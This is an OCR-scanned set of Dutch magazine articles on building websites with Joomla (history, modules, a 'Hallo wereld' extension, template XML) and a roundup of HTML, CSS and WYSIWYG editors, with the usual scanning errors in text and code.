□ok essentiele functies zoais de WYSIWYG- 
editor niet gebruikt worden. 

De interface bedien je eigen lijk vooral 
via het menu in het bovenste dee! van het 


venster. Alleen op de startpagina staan 
een aantal pictogrammen* In het dagelijks 
gebruik heb je voornamelijk te maken met 
de knoppen 'Nieuw artikel toevoegen' en 
'Artikelbeheer'. Om de doorgevoerde wijzi- 
gingen direct te controleren, klik je rechts- 
boven op 'Voorbeeld'. 

De beste manier om vertrouwd te raken 
met Joomla is door gewoon testinhoud 
aan te maken en dingen uit te proberen. 
Om nieuwe content in te voeren, ga je in 
het front-end in het 'Gebruikers menu' naar 
Voeg een artikel toe' of klik je in het back¬ 
end op de knop 'Nieuw artikel toevoegen' 
De pagina die verschijnt is onderverdeeld 
in een deel voor de WYSIWYG-editor en een 
deel voor de parameters, Bij Joomla wordt 
standaard de opensource-editor TinyMCE 
gebruikt, maar je kunt ook een andere editor 
instalieren. leder artikel moet in Joomla een 
inhoudefijke categorie toegekend krijgen, 
die weer tot een bepaalde sectie behoort. 
Die twee stel je bij de parameters in. Als je 
een artikel in het back-end aanmaakt kun je 
met de knop Voorbeeld' je artikel bekijken 
voordat die voor ieder een te zien is, 

Joomla scheidt net als andere content- 
managementsystemen de content van 
de lay-out. De lay-out van de webpagina 


De geschiedenis van Joomla 


joomla is voortgekomen uit het open- 
source CMS Mambo. Midden 2005 riep 
het bedrijf Miro International, de initiatief- 
nemer van Mambo en de eigenaar van de 
merkrechten, de Mambo Foundation in 
het leven (http://mambo-foundation.org/). 
Wie verder mee wilde ontwikkelen aan het 
open source CMS moest lid worden van de 
Foundation. Naar eigen zeggen wilde Miro 
op deze manier de vrije ontwlkkelaarsge- 
meenschap beter organiseren, De Mambo 
Foundation moest zichzelf financieren door 
bijdragen van producenten van commerci- 
ele Mambo-uitbreidingen en door 'strategi- 
sche leden', die besllssingen die van invloed 
zijn op het project kunnen beinvloeden. 


Door deze stap voelde de ontwikkelaars- 
gemeenschap zich gepasseerd. De hoofd- 
ontwlkkelaars keerden het Mambo-project 
daarop massaal de rug toe en startten 
Joomla!. De naam van dit nieuwe project 
is een fonetische spelling van ’jumla', wat 
Swahili is voor 'alien tezamen' of 'als een 
geheel' 

Het kernteam bestaat op dit moment uit 
negen personen, Daarbij komt een groot 
aantal werkgroepen, die ieder verantwoor- 
delijk zijn voor een bepaald deel r zoais ont- 
wikkeling, documentatie, infrastructure, 
vertalingen en de Foundation (hieronder 
vallen marketing encommunicatie). 


wordt bepaald door de beheerder. De con¬ 
tent van de pagina's wordt door Joomla 
onafhankelijk daarvan uit de database ge- 
lezen en op de voorgedefinieerde plekken 
aan de lay-out toegevoegd. De weergave 
gaat bij Joomla via templates in de vorm 
van HTMl“Sjablonen. Het templatebeheer 
bevindt zich onder 'Extensies / Template- 
beheert 

Een likje verf 

Als de drie door Joomla bijgeleverde tem¬ 
plates je niet bevallen, ga dan eersteens bij 
de reusachtige community naar passende 
designsjablonen zoeken voordat je zelf aan 
de slag gaat De meeste templates zijn zelfs 
gratis, 

Voor het ontwerpen en bewerken van 
templates moet je als beheerder wel ver- 
stand hebben van HTML en CSS, Enige ken- 
nis van PHP is wel handig, omdat er soms 
ook PHP-commando's ge'mtegreerd moe¬ 
ten worden. De eenvoudigste manier om 
een eigen template te maken is het aan- 
passen van een ai bestaande lay-out. Als je 
van tevoren een back-up van de template- 
directory hebt gemaakt, kun je zonder ri- 
sico met een bestaande lay-out experimen- 
teren. 

Als je een voiledig eigen paginaontwerp 
en een geheel nieuw lay-outsjabloon wilt 
genereren, moet je er wel rekening mee 
houden dat daar behoorlijk wat ttjd en 
werk In gaan zitten; het ontwikkelen van 
een goede lay-out voor Joomla is een stuk 
omslachtiger dan een norm ale website ont¬ 
werpen en converteren. Het valt buiten het 
kader van dit artikel om de opbouw van 
templates uit te ieggen, maar in het artikel 
op p.46 laten we een voorbeeld zien. Op de 
homepage hebben de Joomfa-ontwikke- 
laars een gedetallleerde handleiding gezet 
(zie softlink). 

De juiste componenten 

De kracht van Joomla zit vooral in de ui- 
terst flexibele architectuur. Het hele CMS 
kan door talloze zogenaamde modules, 
componenten en mambots min of meer 
naar bell even worden uitgebreid. Modules 
zorgen ervoor dat de content in het back¬ 
end of het front-end (de voor het publiek 
zichtbare pagina's van de website) te zien 
is. Ze geven bijvoorbeeld het zoekformutier 
of het laatste nieuws weer. Ze kunnen via 
parameters worden ingesteld. 

Componenten zijn de meest complexe 
uitbreidingen. Deze kunnen ook eigen dy- 
namische content bevatten, Typtscbe voor- 
beelden van een component zijn een site- 
map en het bannerbeheer. Net als modules 
kunnen ze bijna eike wiliekeurige code uit- 
voeren. De derde categorie uitbreidingen 
zijn de plug-ins, die het werken met Joomla 
makkeltjker moeten maken. Die werken op 
de achtergrond en bieden extra functies* 
Alle drie de typen uitbreidingen zijn in het 
back-end onder ’Extensies / Installeer / 
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Met de WYSIWYG-edrtor kun je een artike! makkelijk bewerken, en dan bij de parameters 
mstellen warmeer die online moet verschijnen. 


DeTnstalleer' toe te voegen of te verwijde- 
ren. 

Voor bijna aJIe toepassingseisen worden 
mnmddels wel opensource-uitbreidingen 
aangeboden. Het virtueMart -project (zie 
softlink) heeft zich bij online shops ontwik- 
keld tot een soort standaard. virtueMart 
wordt aangeboden in verschiltende vari- 
anten r maar vergt veel inwerktijd. Voor een 
kfeine shop met maar 50 producten is het 
dus met de moeite waard. Voor document- 
beheer is DocMan de beste keuze. Voor 
Joomla bestaat er een gigantisch aantal 
forum modules. Een van de po pu lairs te fo- 
rumapplicaties is het kraohtige en betrouw- 
bare Fireboard . 

Als je al wat ervaring hebt met PHP en 
XML is het zelf ontwikkelen van Joomla- 
modules een fluitje van een cent. Om je 
een indruk te geven hoe extensions zijn op- 
gebouwd, gaan we een eenvoudige Hallo 
wereld'-uitbreidlng maken. 

De eerste vijf regels in de listing op p.44 
zorgen voor de uitvoer van de uitbreiding. 
Het defined-commando zorgt ervoor dat de 
module alleen vanuit PHP kan worden op- 
geroepen. Het controleert of er een con- 
stante met de naam JEXEC is gededareerd 
en beeindigt het programme als dat niet 
het geval is. Dat gebeurt als het bestand di¬ 
rect wordt aangeroepen. Als je datzou toe- 
staan kunnen hackers er met SQL-injecties 
of andere trues misbruik van maken. Het 
commando echo zorgt voor de feitelijke uit¬ 
voer. 

Het bij de module behorende XML-defi- 
nitiebestand is aanzienlijk langer. Hierin zit 
extra meta-informatie zoals de naam van 
de module, de auteur en de bijbehorende 
bestanden, Wat er ailemaal precies in staat, 
is na te lezen op de Joomla Development 
Wiki. Bovendten heb je nog een pagina 
index.html nodig, waar alleen het broodno- 
dige in staab 

Alle drie de bestanden zet je in een zip- 
archlef. Dat is dan de module die je via 
Extensies / Installeer / Demstalleed in het 
systeem kunt integreren. Via 'Extensies / 


<?php 

ddinedt "_jEXEC 1 2 3 or 

dio( 'foegang v?rbodETi f ); 
eebo '<h1>HatLei, uereld!</h1> 11 ; 

?> 


ModulebeheeP kun je die dan bij de kolom 
’Geactiveerd' voor het front-end vrijgeven. 

Vooruitzichten 

Joomla is ondanks zijn veelzijdigheid niet 
voor ieder doel geschikt De huidige versie 
laat bijvoorbeeld nog wat te wensen over 
bij het produceren van W3C-conforme 
websites, wat zonder diep ingrijpen In het 
systeem niet eenvoudig te verhelpen is. 
Tot nu toe is er alleen een relatief onflexi- 
bel rechtenstructuur voor redacteuren en 
front-endgebruikers. In versie 1,6 van dit 
CMS zal dit anders zijn: het rechtenbeheer 
zal dan op een Access Control List geba- 
seerd zijn, waarmee veel specif!eker in te 
stellen is welke gebruikers wat mogen. 

In de komende versie wordt de onder- 
steuning voor PHP 4 definitief gestopt. Dan 
zal Joomla alleen nog maar compatibel zijn 
met PHP 5.2 of hoger Ook uit het oogpunf 
van beveiliging staat er het een en ander 


te gebeuren. Met name de extensies waren 
tot nu toe mogelijke ingangen voor aanval- 
len middels een SQL-injectie of parameter- 
manipulatie. Dat moet nu gestopt worden 
door het automatisch bijwerken van exten¬ 
sies. joomla geeft in het vervolg meldingen 
over veiligheidslekken in extensies, waarna 
de updates dan met een muisklik gemstal- 
ieerd moeten kunnen worden. 

Tot het zover is, moet je als je Joomla 
professioneel wilt gebruiken, van tevoren 
goed nagaan of een benodigde extensie in 
het verleden welltcht bron van aanvallen 
is geweest en of eventuele veiiigheidslek- 
ken zijn dichtgemaakt. Alsje daar goed op 
let, is Joomla een betrouwbaar CMS waar 
je ook vaak bezochte websites prima mee 
kunt maken en beheren. 

Door de grote en actieve Joomla-com- 
munity hoef je je geen zorgen te maken 
over de ondersteuning en mogelijkheden 
op de fange termijn. Bovendien hebben 
veel bedrijven zich intussen gespeciali- 
seerd in Joomla-services zoals module- of 
template-ontwikkeling, zodat je desnoods 
ook support kunt mkopen. Ook bestaat er 
inmiddels een aardig aantal boeken over 
Joomla, ook in het Nederlands, (nkr) 
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<L wersion= l.fl encoding" utf-S ?> 

^install type= module version 3 4 * 6 1.5,0 > 
<nate>HaU0/ifereld! </name> 

<author>^ 3 nieL Koch-s/autht>r> 

<croationDate>Juni 20Q9</creationDate> 

<copyright>CC} 2009 KocWcopyright> 
<Hcense>http://uwy.gnu,org/cop]rLeft/gpl .htil</Li cense> 
<authorEmail>icontaktSraedienuBrke.de</authorEmail> 
<authorUHlL>WHtf .ledienbferke. de</authorlJRL> 

<version>1.0</version> 

<description>Laat Hallo, uereld! :i€n</dosofiptiorj> 
<fiLos> 

<t i Lename module- mudJiaLLouvreLd > 
m o d_h allowreretd. php</fi lenaae> 

<1 i LenaieHnde*. htiU/f Uenaie> 
les> 

<pa rams !> 

</instaLL> 

<html><tn3dj r bg£.oLof= fffFFFFF x/bodyx/titmL? 


Een Joomla- 
modufe bestaat uit 
PHP-code, een XML- 
definitiebestand 
en een elementair 
HTMl-deel. 
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Noud van Kruysbergen 

Joomla! in een 
ander jasje 

Nieuwe template maken voor Joomla! 


In het contentmanagementsysteem Joomla! zijn vorm en inhoud duidelijk 
gescheiden. De webpagina's worden samengesteld uit een lay-outsjabloon en 
de bij die pagina horende content. De mogelijkheden om content te bewerken 
zijn binnen Joomla! ruim toereikend, voor het maken van een eigen lay-out is 
meer handwerk nodig. 


J oomla! wordt standaard geTnstalleerd 
met drie templates. Je vindt deze onder 
'Extensies / Templatebeheer' Hier kun je 
ook instellen welke template als standaard- 
lay-out staat mgesteld. Nadeel is natuurlijk 
wel dat zo f n beetje iedereen met deze drie 
templates begint en je website zicb daarmee 
qua vorm in ieder geval niet van alle andere 
onderscheidt. Gelukkig kun je in Joomla! vnj 
gemakkelijk templates toevoegen. Op joomla 
24.com staan bijvoorbeeld meer dan 700 
templates voor Joomla! 1.5, waarbij je kunt 
kiezen tussen lay-outs met een vaste of vari- 
abe!e breedte. Deze templates zijn gratis als 
zip-bestand te downloaded Ook zijn er sites 
als Joomla-templates.com, waar je templates 
kunt kopen. 

Om een template te activeren, pak je 
de inhoud van zo’n zip-bestand ult in de 
Joomia!-map tempLates/tempLatenaam. De op- 
bouw van die submap van de betreffende 
template ziet er altijd hetzelfde ult: 


ftm platen aam 

/css 

templates 
/Images 
Logo, png 
afbeeLding.jpg 
indexphp 

paramsJnl 

tempiate_thumbnaiLpng 
tem plate Detai [5 .xm L 

In de map css staan een of meerdere CSS- 
bestanden, die bepalend zijn voor de uitein- 
delijke kleuren, lettertypen en opbouw. In de 
map images staan aile afbeeldingen die door 
de template worden gebruikt. Dat lijkt aardig 
op wat je gewend bent by het ontwikkelen 
van een website. 

In het bestand index,php staan een aantal 
regds in de vorm van 

cjdodnelude type="modules" narne= M Le1t M /> 




_ 1 ,£K 


it S 1 j 


In het Tem¬ 
pi ate beheer 
van Joomla! 
kun je in een 
keer de web¬ 
site een andere 
lay-out geven. 
Standaard zijn 
er drie geinstal- 
leerd. 


o >* 1 c 


jr i5omaf cH joomla 


PI Templatebeh&ef 


De parameters 
van een template 
zijn te wijzigen, 
Hier kunje ook de 
HTML-code en de 
CSS-instructies van 
een template 
handmatig 
aanpassen. 


n 


Tem piste: [B***r*,mt 
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Alle andere HTML-code dient voor het ge¬ 
ne re re n van de pagina, waar met <table> en/ 
of <div>-commando's de opbouw wordt be- 
paald. Tussen die code zie je een aantal keer 
een commando zoals hierboven staan. In dit 
geval wordt de content van de module die 
hoort bij de positie left hier ingevoegd* Als 
namen kunnen onder andere top, bottom, footer, 
left, right, breadcrumb, messages, component, userl, user 2 
et cetera voorkomen* Deze posrties zijn van te- 
voren gedefinieerd, dus Is bij het laden van de 
indexpagina duidelijk waar wat moet komen. 

De afbeeldlng template thumbnaiLpng wordt 
gebruikt om in Joomla! snel een preview te 
kunnen zien van de template. Deze afbeelding 
krijg je te zien als je met de muis over de naam 
van de template in hetTemplatebeheergaat 

Het bestand templaleDetails,xml bevat een 
aantal gegevens over de template. Dat is in 
eerste instantie (zie kader met voorbeeld) wat 
meta-informatie over de lay-out, zoals het ver- 
sienummer, de aanmaakdatum en de auteur, 
gevolgd door de bestanden die bij deze tem¬ 
plate horen. Daama worden de positles ge- 
noemd die in deze template gedefinieerd zijn 
en zoals ernaar gerefereerd wordt in index.php, 

Aan het eind van dit XML-bestand staan 
nog een paar opties, die bij het tem pi ate be¬ 
heer van Joomlal kunnen worden gewijzigd. In 
dit geval kun je daarmee instellen hoe breed 
de template moet worden: is dat een vaste 
breedte (bepaald door het CSS-be stand) of is 
die breedte variabel en daarmee afhankefijk 
van de breedte van het browservenster. Deze 
insteliingen worden bewaard in het bestand 
paramsjnf in de template-map. 

Aanpassen 

Als je een gezlpte lay-out in de tem plate-map 
van Joomla! hebt uitgepakt, is die in het tem¬ 
plate te selecteren door op de naam te kfik- 
ken. Daar kun je in ieder geval de parameters 
wijzigen die in het XML-bestand gedefinieerd 
zija Via de knop ’Bewerk HTML' kun je in het 
back-end van Joomla! het bestand Index.php 
bewerken, Als je een eigen CSS-bestand hebt 
aangemaakt, moet je daar met 

clink rel-’styLesheet" href— "tempLates/<?php echo 7 

$tfi is->temp late ?>/css/citss" type—"text/css" /> 

in ieder geval naar verwijzen, Verder ben je vrij 
om je pagina In te delen zoals je zeff wilt. In de 
praktfjk zul je met <div>-tags een indeling in 
blokken maken, waarbij de kenmerken van die 
dlv-containers door de CSS-instructies zullen 
worden bepaald. Als de indeling klaaris, klikje 
op ’Toepassen' en kun je met ’Bewerk CSS 1 de 
feitelijke lay-out kenmerken aanpassen. 

in de praktijk zul je regelmatig switchen 
tussen het bewerken van het index- en het 
CSS-bestand. Dat werkt in de Joomla!-omge- 
ving niet zo handig, waardoor het overzlch 
telijker is om daar een eigen webeditor voor 
te gebruiken. Dan kun je beide bestanden 
open houden en de veranderingen meteen 
controleren. 

In het indexbestand vul je de div-tontainers 
met content op de rnanier zoals we eerder 
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zagen. Met cjdodndude type= r 'moduLes "> zet je 
de modules op de pagina, met cjdodndude 
type="componem"> krljgt de hoofdcomponent 
een pfaatsje. 

Spaghetti 

Haodmatig aanpassen van PHP- en C$5- 
bestanden brengt altljd bet gevaar met zieh 
mee dat je bepaalde dingers oplost op een 
manier die niet compatibel is met het docu- 
menttype van de template. Daarom heeft 
het altijd de voorkeur om te werken met 
een W3C-compatibele doctype-dedaratie, 
bij voorkeur een zo strikt mogelijke variant. 
Bedenk daarbij dat de al jaren bestaande dis- 
cussie over het opbouwen van een lay-out 
op basis van tabellen of div-containers con- 
sequenties heeft voor het doctype en de toe- 
gestane tags. Bij handmatig programmeren 
loop je dan het risico dat je tags gebruikt die 
niet bij dat doctype horen. DaarzuJ je In eer- 
ste instantie bij het bekijken van de website 
weinig van merken, maar het valideren van je 
(X)HTML-codezal problemen opleveren. 

Daarmee heb je nog een goede reden 
om de voorkeur te geven aan een gespeci- 
aiiseerde webeditor, omdat die meestal zui- 
vere code genereert. in het geval van Joom- 
la! bestaat voor Dreamweaver de extensie 
d-form_Joomlal5.mpx. Door daar op te du la¬ 


bel klikken wordt de Extension Manager (CS4) 
van Adobe geopend, waarna deze extensie 
binnen Dreamweaver bruikbaar is. 

Maak een nieuw HTML-document aan in 
Dreamweaver en sla dat op als index.php in 
de template-map. Vervolgens kun je met de 
Joomla_15-werkbalk alle code toevoegen die 
nodig is r te begin nen met lnsert_Head_Code’ 
om onder andere naar het CSS-bestand te 
linken. In de werkbalk kun je onder 'modules' 
een aantai standaardmodules in de broncode 
toevoegen en deze daar waar nodig is nog 
aanpassen. 

Als alle HTML- en PHP-code inclusief de 
CSS-bestanden aangepast zijn, voeg dan de 
hele template-map inclusief mappenstructuur 
en alle andere bestanden in een zip-bestand 
samen. Daarmee is je template klaar! 

Fantasie 

Het aanpassen van een Joom la Item plate 
lijkt al met a! een niet al te Ingewikkelde klus, 
Voor pure webdesigners is het een troost dat 
er een kant-en-klare Dreamweaver-extensie 
bestaat, zodat zij zich niet a I teveel met pro- 
grammeeraspecten bezig hoeven te houden 
en zich daardoor volledig kunnen concentre- 
ren op het daadwerkelijke ontwerp. Aan de 
andere kant hoeven de contentmanagers 
niets te weten over hoe de lay-out in elkaar 


Met de 
extensie 
D-Form 
Joomla kun 
je in Dream¬ 
weaver mak- 
kelijk code 
toevoegen 
om Joomla- 
onderdelen 
op je pagina 
te zetten. 

steekt. Het is voor een administrator relatief 
makkdijk om een andere template te kiezen, 
zonder dat er aan functionaliteit of inhoud 
iets hoeft te veranderen. 

Bij het ontwerpen van een template heb 
je dan ook redelijk veel vrijheid. Je kunt je 
fantasie de vrije loop laten, zodat het uitein- 
delijke resultaat nog amper herkenbaar is als 
een Joomlal-site. En mocht je dan nog tijd 
over hebben H dan kun je ook altijd nog een 
template voor de beheerskant van Joomla! 
maken.., (nkr) 



<?xmt version='"1.0 ,r encoding='’ytf’8" ?> 
cimtall version-'15" type='template^ 

< nam e x't-templa te < /nam e > 
cversio n > 13 < /version > 

< treat i on Date > 15.07.2009</creatio nOate > 

<author>Noud van Kruysbergen</author> 

< a utho rU rl > http: //www. ct nt< /aut h orUrl > 
<lkense>GPL<Aicense> 

< description > De mo tem pi ate < /d escri ptio n > 

<fHes> 

< fi lena m e> in d ex. p h p </fi lena m e> 

<fl len a me> pa ram s .i ni </fi len a m e> 

<fi len a m e > te m plate D etai Ls. x m l </fi Lena m e> 

<fi len a me> te m piatej hu mb na iL png < /file name > 

<fi lena m e> css/cUss < /file n a me > 

<fi lena me> imag e s / achterg ran d j pg </fi lenam e > 

<fi len a me> imag es/ct. gif < /ftlen a me > 

</files> 

<positions> 

< posit! on > Left </posit i on > 
cpositi on > ri ght <7position > 

< positi on >top < / pos ition > 

<posi ti on > botto m </po$iti on > 
cpositi on > head erc/positl on > 
cpositi on >foote r</positio n > 

<posit i on > brea dtm m b </posit] on > 

< position > use ri < /pos ition > 

< posit! on > u se r2 < /pos i tion > 

</positl ons> 

< para ms > 

<param name^'wldth" type="radlo" default^"fluid" / 

labeL="Width" descriptaon='"fixed/fluid"> 

< opti o n va l ue=" fixed" > f i xed< /o ption > 

< opti on va l u e="fl uid" > FI uidc/option > 

</param> 

</params> 

</instalL> 

Voorbeeid van tempiateDetails.xml 



c t joomla 


Dezelfde content krijgt met een andere template meteen ook een heel 
andere uitstraling, ct 
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Noud van Kruysbergen, Jo Bager, Herbert Braun, Axel Kossel 


Tools en tutorials 


Software en tutorials voor webontwikkeling 

Voor het bouwen van een website kun je kiezen uit een groot arsenaa! aan programma's. Dat varieert van 
simpele WYSIWYG-editors, waar je zonder programmeerkennts een leuke hobbysite mee kunt maken, tot 
compfexe databaseondersteunde webapplicaties met de nieuwste Ajax-technologieen. Het is ondoenlijk 
dieailemaal in een artikel tenoemen.Vandaardat we onsbeperken tot een aantal meer of minder bekende 
toepassingen, die zonder al teveel kosten of zelfs gratis te gebruiken zijn. Daarnaast noemen we een aantal 
tutorials die als pdf te downloaden zijn of die je als video kunt bekijken en waar mee je snel aan de slag kunt! 


D e meest simpele manierom een (kleine) 
website te maken, is nog steeds met 
een HTML-editor. En als je het ecbt spar- 
taans wilt houden en alles helemaal zelf wilt 
doen, heb je genoeg aan het Kladblok van Win¬ 
dows of vi in een Linux-omgeving. Maar dan 
ben je wel eigenhandig verantwoordelijk voor 
alle aspecten van het maken van een website, 
en dat kan redelijk arbeidsintensief zijn, zeker 
naarmate je website begint te groeien* 

Een zeer uitgebreide HTML-editor is HTML- 
Kit. Dat is een gratis editor voor HTML, XHTML, 
XML en CSS, JavaScript, PHP en andere script- 
talen, Met de tabbfaden boven aan het ven- 
ster kun je snel de tags voor een groot aan¬ 
tal verschillende elementen invoegen. Ook 
kun je in e4n keer alle tags aanpassen (grote/ 
kleine letters) en de HTML-code netjes oprui- 
men.Toch is de interface redelijk summier en 
opgeruimd en kun je alle opties snel vindea 
Versie 292 is de laatste freeware versie, vanaf 


Build 300 gaat deze editor door het leven als 
HTML-Kit Tools en moet er online 65 dollar 
voor betaald worden, 

Arachnophilia is een andere HML-editor, 
Deze is gebaseerd op Java, dus je moet wel 
een Java Runtime gemstalleerd hebben. Het 
programma doet wat ouderwets aan als ty- 
pische Java-applicatie met alle menu's in het 
font Courier, maar de schijn bedriegt. Via de 
optie 'Programming' kun je Java- en C++- 
scripts laten compileren* AceHTML is ook een 
freeware HTML-editor met een handig over- 
zicht van pagina-elementen als images en 
links en een controle van de HTML-syntaxis, 
Wei irritant dat de VMM Toolbar automatisch 
mee geinstalleerd word! 

Bij het handmatig inkioppen van HTML- 
code is het risico op fouten altijd aanwezig. 
Met CSE HTML Validator kun je die redelijk 
makkeiijk achterhaien. Bovendien kun je die 
gebruiken als tekstgebaseerde editor met syn- 


taxis highlighting, codeaanvulling voor tags 
en CSS of het automatische omzetten van alle 
tags in kleine letters, Het onzichtbaar maken 
van alle tags vereenvoudigt het bewerken 
van de paglnacontent, Maar de core business 
is het zoeken naar fouten, Daarbij blijf je in 
tegenstelling tot bij de verschillende online 
valfdatiediensten nlet verbouwereerd achter 
met een cryptische melding, maar komt het 
programma met zinvolle correctievoorstellen 
die je in het editvenster ook meteen kunt laten 
uitvoereaCSE maakt bovendien melding van 
ongerijmdheden in de broncode, controleert 
finks en maakt een overzichtelijke structuur- 
weergave van het document, De Standard- 
versie kost 69 dollar, de Professional-editie 
met een batch wizard, co nfi g u rati e- editor en 
XML-output kost 129 dollar. Van die laatste is 
een trial versie beschtkbaar waarmee je TOO 
documenten binnen 30 dagen kunt laten 
controleren. 
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led ere vooruitstrevende website-ontwikkelaar 
komt vroeg of laat in aanraking met de Extern 
sible Markup Language XML Dan helpt XML- 
Blueprint 4.5 bij het maken en bewerken van 
goed gestmctureerde XML-documenten. De 
editor completeert de namen van dementen 
en attributen automatisch, vult end-tags aan, 
highlight taaielementen en zorgt er met in- 
springen voor dat a lies overzlchtefijk blijft Het 
resultaat kun je in een previewvenster contro- 
leren. De syntaxfscontrote is vooral onmisbaar 
voor mensen die voor het eerst met XML aan 
de slag gaan. De bijgeleverde voorbeelddocu- 
menten zijn dan handig om door te kijken. Het 
prog ram ma is 10 dagen lang gratis te probe- 
ren, daarna kost het 85 dollar. 

Zelf opleuken 

Nadeel van het handmatig bewerken van de 
broncode is dat je de CSS-instructies ook zeff 
moet bijhouden. Daarzijn gelukkig wel hulp- 
middelen voor. Free CSS Toolbox is, de naam 
zegt het al, gratis. Deze toolbox bestaat o.a, 
ult een CSS-validator, die ervoor zorgt dat je 
CSS-bestand de webrichtlijnen voIgt, een C5S- 
formatter/beautifier om de lay-out van het 
bestand overzichtefijk te houden en een CSS- 
compressor om a He overbodige tekens, zoals 
tabs en extra spaties, te verwijderen. Hierdoor 
kost het downloaden van het CSS-bestand zo 
min mogelijk bandbreedte. 

Met het programma Simple CSS maak je 
met een paar keer klikken de basislay-out voor 
je website. Daarbij bepaal je de fonts en de 
kleuren en andere pagina-elementen. Simple 
CSS is lekker overzichtelijk, maar ondersteunt 
toch CSS2, 

De top onder de CSS-editors wordt ge- 
vormd door TopStyle. Met versie 4 kun je 
het resultaat bekijken terwijl je de CSS aan 
het bewerken bent Ook kun je de CSS-code 
teste n voor meerdere browsers en zien we Ike 
stijlen er op een bepaald moment gebruikt 
worden. De volfedige versie 4 kost 80 dollar, 
maar er is ook een gratis Lite-variant van ver¬ 
sie 3.10. 


Een geheel andere manier om je website aan- 
trekkelijker te maken is het toevoegen van een 
dropdown-menu. Dat kan bijvoorbeeld met 
ZZEE DHTML Menu waarmee je op een web- 
pagina makkelijk een menu kuntaanmaken dat 
zowei optisch als wat functieomvang bet reft 
afgeleid lijkt van het Windows-startmenu. Om 
het JavaScript-framework te gebruiken moet je 
de scripts en stijlen in je eigen applicaties op- 
nemen. Verder heeft de appficatie alleen een 
paar simpele initialisatie-instructies nodig en 
natuurlijk de beschrijving van het menu zelf. De 
bijgeleverde documentatie laat met een voor- 
beeldpagina, tutorial en A PI-reference niets te 
wensen over. De clou: de menubalken kunnen 
niet alfeen met JavaScript worden aangemaakt, 
maar evenfueel ook via een PHP-interface. Zo 
geef je PHR-applicaties heel makkelijk een 
moote interface. De gratis versie heeft die PHP- 
interface helaas niet en heeft bovendien maar 
een stylesheet. De volledige versie kost 20 dol¬ 
lar en heeft vier verse hi Ifende themes. 

CoffeeCup was in het verfeden voorname- 
lijk bekend door de HTML Editor, die de laatsfe 
jaren steeds weer u itgebreid is en inmiddels 50 
dollar kost. Er is ook een Free HTML Editor-ver- 
sie van, maar die is wel erg uitgekleed, Daar- 
naast heeft CoffeeCup ook een Free DHTML 
Menu Builder, waarmee je aan het menu zo'n 
beetje a lies kunt aanpassen wat er aan te pas- 
sen valt. Dat maakt het wel flexibeler maar niet 
overzichtelijker. 

Snel resultaat 

Naast de kale HTML-prog ram mas (a! zijn die 
qua functionaliteit hetemaal niet zo kaal) zijn er 
de WYSIWYG-editors. De HTML-code blijft hier- 
bij op de achtergrond, je bewerkt het uiteinde- 
lijke resultaat zonder je met de achterllggende 
code te (hoeven) bemoeien. De grote commer- 
dele namen hierin zijn Dreamweaver, tegen- 
woordig onderdeel van Adobes CS4-pakket en 
los te koop voor 570 euro en Microsofts Expres¬ 
sion Web Designer, waarvan versie 3 voor zo'n 
170 euro te koop is. Maar gelukkig kan het ook 
minder uitgebreid en (daardoor) goedkoper. 


Nvu is een voorbeeld van een simpele maar 
toch krachtige webeditor. Het is een concur¬ 
rent voor programme's als Microsoft Front- 
Page en de eerdere versies van Dreamwea¬ 
ver. Sinds versie 1.0 in 2005 verscheen, zijn 
er geen updates meer geweest KompoZer 
is echter een doorontwikkeling van Nvu en 
is eveneens gebaseerd op de Mozilla Com¬ 
poser, zodat het eindresuitaat schone code 
oplevert. Het grote voordeel van beide pro- 
gramma's is dat ze open source zijn en er 
versies zijn voor zowei Windows als Linux 
en Mac OS X. De mogelijkheid binnen Kom¬ 
poZer om de broncode als HTML-tags te be- 
krjken geeft een goed overzicht van de op- 
bouw van een pagina. 

PhotonFX Easy Website Pro zet binnen 
enkele minuten aan de hand van sjablonen 
een kant-en-klare website online. Met behulp 
van variaties op de lay-out, kleurschema's en 
afbeeldingen pas je de paginal aan je eigen 
wensen aan. Dan is de inhoud aan de beurt: 
er wordt een logo vastgelegd en de knop- 
pen voor eigen pagina’s, externe adressen of 
mailto-links worden aangemaakt. Dan vul je 
de paginal met de ingebouwde Visual Style 
Editor. Als je wilt, kun je daar ook HTML-code 
bij gebruiken. Veranderingen aan de auto¬ 
matisch aangemaakte CSS-pagina's behoren 
tot de mogelijkheden, evenals het aanpas¬ 
sen van de metatags. Tot de extra's behoren 
gekleurde scrollbalken, de snelnavlgatie per 
uitvouwmenu en een e-mailformulier. De 
pagina’s kunnen worden opgepimpt met 
Flash-animaties en geluiden. Het resultaat 
kan lokaal opgeslagen worden en van daar- 
uit desgewenst via FTP naar de Webserver 
geupload worden. De try-outversie biedt 
a He mogelijkheden voor 30 dagen, de qua 
tijd onbegrensde versie kost 60 euro voor 
met-commerciele websites, 70 dollar voor 
bedrijfssites en 160 dollar voor resellersites. 

NetObjects Fusion 11 is een webdesign- 
programma met een hele batterij aan tools 
en mogelijkheden en biedt een naadloze 
integrate met XHTML, CSS, JavaScript, XML 
en Ajax-componenten. Er zijn aparte wizards 
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Met HTML-Kit kun je de broncode overzichtelijk bewerken zon- Met AceHTML kun je de HTML-syntaxis maten controleren. 

der al teveel gestoord te worden doorallerler toeters en bellen. 
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De CSS-editor TopStyle heeft een groot aantal bewerkingsmogeiijk- 
heden. De gratis Lite-versie is minder uitgebreid, maar nog steeds 
heel goed bruikbaar. 


Met de Free DHTML Menu Builder van Coffeecup 
kun je snel interactieve menu's voor op de website maken. 
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voor het maken van contact met databases 
en voor formulieren. De volledige versie kost 
online bij de producenttijdelijk90 euro, maar 
er is ook een gratis Essentials-variant. Na 
het installeren en verplicht registreren kun 
je met de Site Wizard een lay-out kiezen en 
vervolgens met de paginal aan de slag. De 
interface is overztchtelijk, en toch zitten alle 
optieserin. Met een bijna dtp-achtige manier 
van werken kun je met drag&drop votledig 
WYSIWYG je website opbouwen, waarbij je 
toch de mogelljkheid houdt de HTML-code in 
te zien en te bewerken. 

High-end management 

Het programma Website X5 is een eenvou- 
dige combinatie van een WYSIWYG-editor 
en een contentmanagementsysteem (CMS), 
We hebben speciaal voor c't-lezers een Smart 
8-versie online staan (zie softlink) die na re¬ 
gistrar e volledlg en onbeperkt te gebruiken 
is. Registreer het programma op de website 
van de producent met onze speciale product- 
code, die ook te vinden is bij de softlink. 

Met de Smart 8-versie van WebSite X5 
kun je tot 28 pagina's aan maken en daar- 
bij kiezen uit meer dan 100 voorgedefini- 
eerde templates. Die templates kun je ook 
nog eens een keer aanpassen aan je eigen 
smaak. Een menu wordt automatisch aan- 
gemaakt. Eigenlijk gebeurt vrijwel alles In 
wizard-vcrm, tot en met het uploaden van je 
bestanden aan toe. Op dezelfde manier kun 
